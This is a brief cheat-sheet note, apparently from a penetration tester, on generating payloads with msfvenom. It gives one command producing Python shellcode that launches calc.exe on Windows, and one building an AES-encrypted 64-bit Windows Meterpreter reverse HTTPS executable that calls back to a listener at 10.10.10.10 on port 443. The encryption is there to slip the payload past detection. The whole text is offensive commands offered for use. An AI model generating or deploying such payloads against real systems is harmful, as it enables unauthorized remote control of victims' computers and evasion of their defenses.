msfvenom

Calculator / custom cmd.

msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d\xff" -f py  $$ creates python shellcode for windows that pops a calculator.

Create an exe using aes256 encryption for a 64bit Windows OS

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.10.10 LPORT=443 --encrypt aes256 --encrypt-key somethingwithentropy123123 -f exe -o meter64.exe